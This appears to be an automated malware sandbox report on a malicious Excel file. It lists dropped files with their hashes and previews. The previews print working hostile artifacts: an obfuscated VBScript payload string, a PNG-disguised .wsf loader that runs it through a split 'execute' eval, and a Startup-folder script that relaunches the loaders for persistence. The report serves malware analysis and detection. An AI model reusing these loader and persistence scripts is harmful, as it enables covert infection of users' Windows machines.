Preview:	yM = "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|

C:\Users\Default\AppData\Local\Temp\TMP.TMP

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	114470
Entropy (8bit):	5.5307303019324054
Encrypted:	false
SSDEEP:	1536:qk6RPg8NopGkC5CEKZ/Gw5wFT+0Iet4sJz0LlXBJUiZkIrE1wo+92N3SOZ8XPuct:MOGkZLApiMioDDi/jLnuShJBOVju
MD5:	2A31D5F042914E5707DD7CA61E1A2143
SHA1:	ECC59AA42B79D6B45927A3B869EADE09AD4C7AB7
SHA-256:	A5384609BC4D4F6666E2E333ED89FBE29F35C33262A8234B621C9FC729F8B350
SHA-512:	C070689F2F589A264A4E366CB3B6FF458DB6A705D89B8FC7BC198229374AFF91EC015BF7781BC17BC71696CF53F66C85265B5C8D4D0B08AED8F5069CE7257F79
Malicious:	false
Preview:	yM = "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|

C:\Users\Default\AppData\Local\Temp\winstart.wsf

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	5.070155721177452
Encrypted:	false
SSDEEP:	3:U69VGAEO9KTWX/6L6A/FbsONHnAv:dxX/g6A/Z6
MD5:	29CB6DC4E424F382E9D209E906781DE4
SHA1:	55C00CCBF5801AA6DF293FCFBF1E5232FD431F0E
SHA-256:	4723B49284D9ACAE5C1BAA102C7FA4B53E5E5FB15A899187BB49F0FC94E61CCF
SHA-512:	1CA7469B4D240E18393BE263EC5DAA0032CE45C67529F0394B68A1B931749CD59F37C0722EAE9541EF5DEDF16C094330A1B18E18DCC2F8A8EE2348EBAEDAEFDC
Malicious:	false
Preview:	?PNG<job id="cSJXhQP"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(cSJXhQPeXe)=1")</Script></job>

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4761 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4761
Entropy (8bit):	7.945585251880973
Encrypted:	false
SSDEEP:	96:6ZUpZsm0HwZ8FLSeXs+aiL9qcZ7KtlAD1GlNHgdkVI5F11AcNmwkVFzGz6ENhZC7:62T0QOLl8vAqcZ7K3AUNAdx5FAx9VEOj
MD5:	77B20B5CD41BC6BB475CCA3F91AE6E3C
SHA1:	9E98ACE72BD2AB931341427A856EF4CEA6FAF806
SHA-256:	5511A9B9F9144ED7BDE4CCB074733B7C564D918D2A8B10D391AFC6BE5B3B1509
SHA-512:	3537DA5E7F3ABA3DAFE6A86E9511ABA20B7A3D34F30AEA6CC11FEEF7768BD63C0C85679C49E99C3291BD1B552DED2C6973B6C2F7F6D731BCFACECAB218E72FD4
Malicious:	false
Preview:	MSCF............,...................O..................YWP .disallowedcert.stl.lJ..B...CK.wTS.....{.&Uz.I."E".HS@. .P.!.....E. .DQ..... EDA.H. E..""/.s<.s.9.....&#.{~k.VV..7@......b.R....MdT..B.L..%.C......" ....%.4%..%.B..T.d...S.....pem..$....&.q.`.+...E..C.....$.\|.A.!~d.H>w%S$...QC't..;..<..R@....2. .l..?..c..A....Ew...l..K$.. ~...'......Mt^c..s.Y%..}......h......m....h.......~d...,...=ge3.....2%..(...T..!].....!C~.X..MHU.o[.z].Y...&lXG;uW.:...2!..][\/.G..]6#.I...S..#F.X.k.j.....)Nc.].t^.-l.Y...4?.b...rY....A......7.D.H\.R...s.L,.6.\|.....VQ....<........... [Z....].N0LU.X........6..C\....F.....KbZ..^=.@.B..MyH...%.2.>...]..E.....sZ.f..3z.].Y.t.d$.....P...,. .~..mNZ[PL.<....d..+...l.-...b.^....6F..z.&.;D.._..c."...d..... k9....60?&..Y.v.dgu...{.....{..d=..$......@^..qA..*uJ..@W.V..eC..AV.e+21...N.{.]..]..f]..`Z.....]2.....x..f..K...t. ...e.V.U.$PV..@6W\_nsm.n.........A<.......d....@f..Z... >R..k.....8..Y....E>..2o7..........c..K7n....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	340
Entropy (8bit):	3.155913334944607
Encrypted:	false
SSDEEP:	6:kKfuMNM5+7DYUN+SkQlPlEGYRMY9z+s3Ql2DUeXJlOW1:HuMNGLkPlE99SCQl2DUeXJlOA
MD5:	47B21283EF9B4283AA6487D03091B70E
SHA1:	8D224D1D781ED0F0598F5FA0B77A11561F7D26AC
SHA-256:	98DAE64DEDB028357240FF6651CD19EB39CC714F9B5B1F0C3B2E41362D8F5F1B
SHA-512:	15146C7A259839FE581633E0638970BA24EC3913E93FFB39FB91B04C4668BD9A9C7392E40E4E3A86B0115133CF53514B6FC69A1D2DDC39791A9B921D48A8CFAF
Malicious:	false
Preview:	p...... ..........S..I..(....................................................... ........~..MG......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.d.i.s.a.l.l.o.w.e.d.c.e.r.t.s.t.l...c.a.b...".0.6.c.f.c.c.5.4.d.4.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\playback[1].htm

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.43745738033235
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLGWbRIwcWWGu:q43tISl6kXiMIWSU6XlI55bRIpfGu
MD5:	0104C301C5E02BD6148B8703D19B3A73
SHA1:	7436E0B4B1F8C222C38069890B75FA2BAF9CA620
SHA-256:	446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F
SHA-512:	84427B656A6234A651A6D8285C103645B861A18A6C5AF4ABB5CB4F3BEB5A4F0DF4A74603A0896C7608790FBB886DC40508E92D5709F44DCA05DD46C8316D15BF
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>cloudflare</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\api[1].json

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.458767034163579
Encrypted:	false
SSDEEP:	3:YWR4bNpILx+XAvHfeJsECIsFuA2Y:YWybNax+X8/eiEZnZY
MD5:	9675217DC1AD6E352EA93150CAA1FF0F
SHA1:	7B6692BC0C3168DAA8F1AFA5A0C10E02490AF611
SHA-256:	15A829FEAAC786F421A396F1E60977A508A6E29434BD7B62A75A743710CDB150
SHA-512:	E7285F256AEC74BF4EB105723813163AF94F11DE24171616E6E6061CDAF3C455CA7D7AB29994818785DAF60EAD8462059E27D7E53A93CD5337A27B0B1D6786F4
Malicious:	false
Preview:	{"status":"0","message":"NOTOK","result":"Missing/Invalid API Key"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\api[1].json

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.458767034163579
Encrypted:	false
SSDEEP:	3:YWR4bNpILx+XAvHfeJsECIsFuA2Y:YWybNax+X8/eiEZnZY
MD5:	9675217DC1AD6E352EA93150CAA1FF0F
SHA1:	7B6692BC0C3168DAA8F1AFA5A0C10E02490AF611
SHA-256:	15A829FEAAC786F421A396F1E60977A508A6E29434BD7B62A75A743710CDB150
SHA-512:	E7285F256AEC74BF4EB105723813163AF94F11DE24171616E6E6061CDAF3C455CA7D7AB29994818785DAF60EAD8462059E27D7E53A93CD5337A27B0B1D6786F4
Malicious:	false
Preview:	{"status":"0","message":"NOTOK","result":"Missing/Invalid API Key"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\playback[1].htm

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.43745738033235
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLGWbRIwcWWGu:q43tISl6kXiMIWSU6XlI55bRIpfGu
MD5:	0104C301C5E02BD6148B8703D19B3A73
SHA1:	7436E0B4B1F8C222C38069890B75FA2BAF9CA620
SHA-256:	446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F
SHA-512:	84427B656A6234A651A6D8285C103645B861A18A6C5AF4ABB5CB4F3BEB5A4F0DF4A74603A0896C7608790FBB886DC40508E92D5709F44DCA05DD46C8316D15BF
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>cloudflare</center>..</body>..</html>..

C:\Users\user\AppData\Local\Temp\DM7332.tmp (copy)

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.9932696895151074
Encrypted:	false
SSDEEP:	3:tGZ14e8Oy:tGZ1cOy
MD5:	120BAC401728B987288DC794EB6EF9F4
SHA1:	81E31383A4504E6A1C2A50C77398544002C5012B
SHA-256:	F43622C0FFAB19BE768B34E214FA1A4A318E2BD73CAE1CCA4DF9C382BCCBDB0F
SHA-512:	85DF487BC7D9D1B6F33FFB7423363A87B753BB49E58334A544216498502C5B1C95E38BBD91924C4540E5C261E710E8F8B2A5DFDEFDD5AE76B1C1CE1F3B5F498C
Malicious:	false
Preview:	..[ctrlHost]..hCount=-1..

C:\Users\user\AppData\Local\Temp\TMP.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	114472
Entropy (8bit):	5.530952480060973
Encrypted:	false
SSDEEP:	1536:qk6RPg8NopGkC5CEKZ/Gw5wFT+0Iet4sJz0LlXBJUiZkIrE1wo+92N3SOZ8XPuck:MOGkZLApiMioDDi/jLnuShJBOVjv
MD5:	109EA35A898188C0D1B52C186ACB1C56
SHA1:	5D36E2C73FEBD10DECDBF24259D52E119115E738
SHA-256:	535A0AAAF0D5C3842DF06108BA3A106628EB8F1772EECDC59DEFCB16CDB13C3A
SHA-512:	162F9E6CDA6EB84E8E71C8269BF184FC4FB082CDA664D640400A149A813F768C84A334CA16759CCBC008D64E11B99CE961179062DDF6C29C319343C909658547
Malicious:	false
Preview:	yM = "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|

C:\Users\user\AppData\Local\Temp\radAB5F5.tmp

Download File

Process:	C:\Windows\SysWOW64\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.9932696895151074
Encrypted:	false
SSDEEP:	3:tGZ14e8Oy:tGZ1cOy
MD5:	120BAC401728B987288DC794EB6EF9F4
SHA1:	81E31383A4504E6A1C2A50C77398544002C5012B
SHA-256:	F43622C0FFAB19BE768B34E214FA1A4A318E2BD73CAE1CCA4DF9C382BCCBDB0F
SHA-512:	85DF487BC7D9D1B6F33FFB7423363A87B753BB49E58334A544216498502C5B1C95E38BBD91924C4540E5C261E710E8F8B2A5DFDEFDD5AE76B1C1CE1F3B5F498C
Malicious:	false
Preview:	..[ctrlHost]..hCount=-1..

C:\Users\user\AppData\Local\Temp\winstart.wsf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	116
Entropy (8bit):	5.1256386727090275
Encrypted:	false
SSDEEP:	3:U69VGAEO9KTWX/6L6A/FbsONHnAan:dxX/g6A/Zzn
MD5:	134D33E3705FB91C6240303F18E042F2
SHA1:	C56FF06AD429C2B2A1C34D100BA6BFEA1D1F27DC
SHA-256:	D6B578DD154DD8C6A3B9039BC56CDB2116F4B1EF672E168E192CF5018F87E3C6
SHA-512:	21092EECD7DFAC1C4791DA3487C9FF50688E2EBB7EBFA13DF489B7C91C5CC794D07D4C9CD19E8F74274C1DFE34C197C50A5B20A6D68D204D0F6FDA12401A04D6
Malicious:	true
Preview:	?PNG<job id="cSJXhQP"><script language="VBScript" src="TMP.TMP">eval("ex"&"ecut"&"e(cSJXhQPeXe)=1")</Script></job>..

C:\Users\user\AppData\Local\Temp\~DF1092D9E509B511EE.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	245760
Entropy (8bit):	6.177585606245118
Encrypted:	false
SSDEEP:	3072:KYOIkTZq7u28SPrMfjDTwEvFBteKFQ5EnM6gPRdPtoehQRDKdiWpc0aP:fOo7/rMnT7oKFAEM1R/l/f
MD5:	CE046F0E8C933E6A889D44D44F4081F7
SHA1:	F76E8061A7F8B9ABF39B1B84739F299F79ED83B2
SHA-256:	4B1ADB851B7D9FB31A3D7CDA54AC253475B152928560BAAB15ED3B1DA5BE1196
SHA-512:	874C4FB3764DC4E985E962C6C1EF377A7B52E23C5CDFF049CFCDDD77B89ABD1ED9B6AC78CF63A4ADDBCFBCCFB5325054F1D869F1FCA595C26458BC3BF01F55F9
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF53D6816A30F3C5AA.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	2.9033493200852245
Encrypted:	false
SSDEEP:	768:7vT2BIH1hkXxQKxyZxJgfaf856PDpp0N8sCqmN3psWUqBqZNL+HSKBt:yIH1OxQKxy5gfaf8kDpp0N8sCqmN3psO
MD5:	DC7C6B31C97F23CC631F8B522D8C5A5F
SHA1:	A8DDB4F5C9290E4A618947A609C2F50B888CCD2E
SHA-256:	17381E180FAB196C7FA764A2DE2AACFE2C52FD7023C70E8BFAA129D579BD026D
SHA-512:	8F3E0FBD846CB935D29E6F5A244B087CB8B574D984E593ECAA05854441B162FC684C24F91C4A0E25F02628841716172C10199C1C42388B1D20AF86AF5C64A060
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~cmdscript.tmp

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	47
Entropy (8bit):	3.6944628524176246
Encrypted:	false
SSDEEP:	3:cP901XRtuLntvy:o901Xb6dy
MD5:	518E105D40CB9498182E229780750783
SHA1:	4C9E8B263FFC4E3B8362D2F8F229EEBEB6102CFB
SHA-256:	F24BF74002B36143AC196140658F53DEDEFE5E57FFB2A7CD61B400C3C87F2975
SHA-512:	C7695DDCB872B09815DBE5AE6082CDDB7FDC8C5DAF9745EA02343921D668C2A87C750D571F12DDA041D0923BEB140C0169AA32A2F2F057DF5A72F7F857656A32
Malicious:	false
Preview:	Server: one.one.one.one..Address: 1.1.1.1....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win.wsf

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	HTML document, ASCII text, with very long lines (374), with no line terminators
Category:	dropped
Size (bytes):	374
Entropy (8bit):	5.1996888611826435
Encrypted:	false
SSDEEP:	6:c3WsFH3tMTJTWdiVsKKLejL93tMTJTWdiVFbRbCjL93tMTJTWdiVTbZLeIIl:c3WkH3t4y2sKK+93t4y2Fle93t4y2T18
MD5:	1E6F145873EA62595C21283EB056B811
SHA1:	5C56A94D1E047708DD886D987F950B799BFAC8A2
SHA-256:	F9F7509DC450A0439DCE9AD280B46855B75B2F1165F4B53CD144888EC7F77CDD
SHA-512:	2236E7F58E06F930BE37F10F639908A6D898C39BA286032CC7F7207E0BE4C87BAB8693052DC280CB2D212AFC7B33921936FD69C31325012A704216714CFA5991
Malicious:	false
Preview:	<job><object id="w" progid="WScript.Shell" /><script language="VBScript">w.run "wscript.exe //B "&Chr(34)&w.expandenvironmentstrings("%TEMP%")&"\winstart.wsf"&Chr(34):w.run "wscript.exe //B "&Chr(34)&w.expandenvironmentstrings("%HOMEDRIVE%")&"\autoexec.wsf"&Chr(34):w.run "wscript.exe //B "&Chr(34)&w.expandenvironmentstrings("%HOME%")&"\winstart.wsf"&Chr(34)</script></job>

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\TMP.TMP

Download File

Process:	C:\Windows\System32\wbem\scrcons.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	114470
Entropy (8bit):	5.5307303019324054
Encrypted:	false
SSDEEP:	1536:qk6RPg8NopGkC5CEKZ/Gw5wFT+0Iet4sJz0LlXBJUiZkIrE1wo+92N3SOZ8XPuct:MOGkZLApiMioDDi/jLnuShJBOVju
MD5:	2A31D5F042914E5707DD7CA61E1A2143
SHA1:	ECC59AA42B79D6B45927A3B869EADE09AD4C7AB7
SHA-256:	A5384609BC4D4F6666E2E333ED89FBE29F35C33262A8234B621C9FC729F8B350
SHA-512:	C070689F2F589A264A4E366CB3B6FF458DB6A705D89B8FC7BC198229374AFF91EC015BF7781BC17BC71696CF53F66C85265B5C8D4D0B08AED8F5069CE7257F79
Malicious:	false
Preview:	yM = "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|inXl5g\|fj764a\|

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\api[1].json

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.458767034163579
Encrypted:	false
SSDEEP:	3:YWR4bNpILx+XAvHfeJsECIsFuA2Y:YWybNax+X8/eiEZnZY
MD5:	9675217DC1AD6E352EA93150CAA1FF0F
SHA1:	7B6692BC0C3168DAA8F1AFA5A0C10E02490AF611
SHA-256:	15A829FEAAC786F421A396F1E60977A508A6E29434BD7B62A75A743710CDB150
SHA-512:	E7285F256AEC74BF4EB105723813163AF94F11DE24171616E6E6061CDAF3C455CA7D7AB29994818785DAF60EAD8462059E27D7E53A93CD5337A27B0B1D6786F4
Malicious:	false
Preview:	{"status":"0","message":"NOTOK","result":"Missing/Invalid API Key"}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\playback[1].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.43745738033235
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLGWbRIwcWWGu:q43tISl6kXiMIWSU6XlI55bRIpfGu
MD5:	0104C301C5E02BD6148B8703D19B3A73
SHA1:	7436E0B4B1F8C222C38069890B75FA2BAF9CA620
SHA-256:	446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F
SHA-512:	84427B656A6234A651A6D8285C103645B861A18A6C5AF4ABB5CB4F3BEB5A4F0DF4A74603A0896C7608790FBB886DC40508E92D5709F44DCA05DD46C8316D15BF
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>cloudflare</center>..</body>..</html>..

C:\Windows\System32\win.wsf

Download File

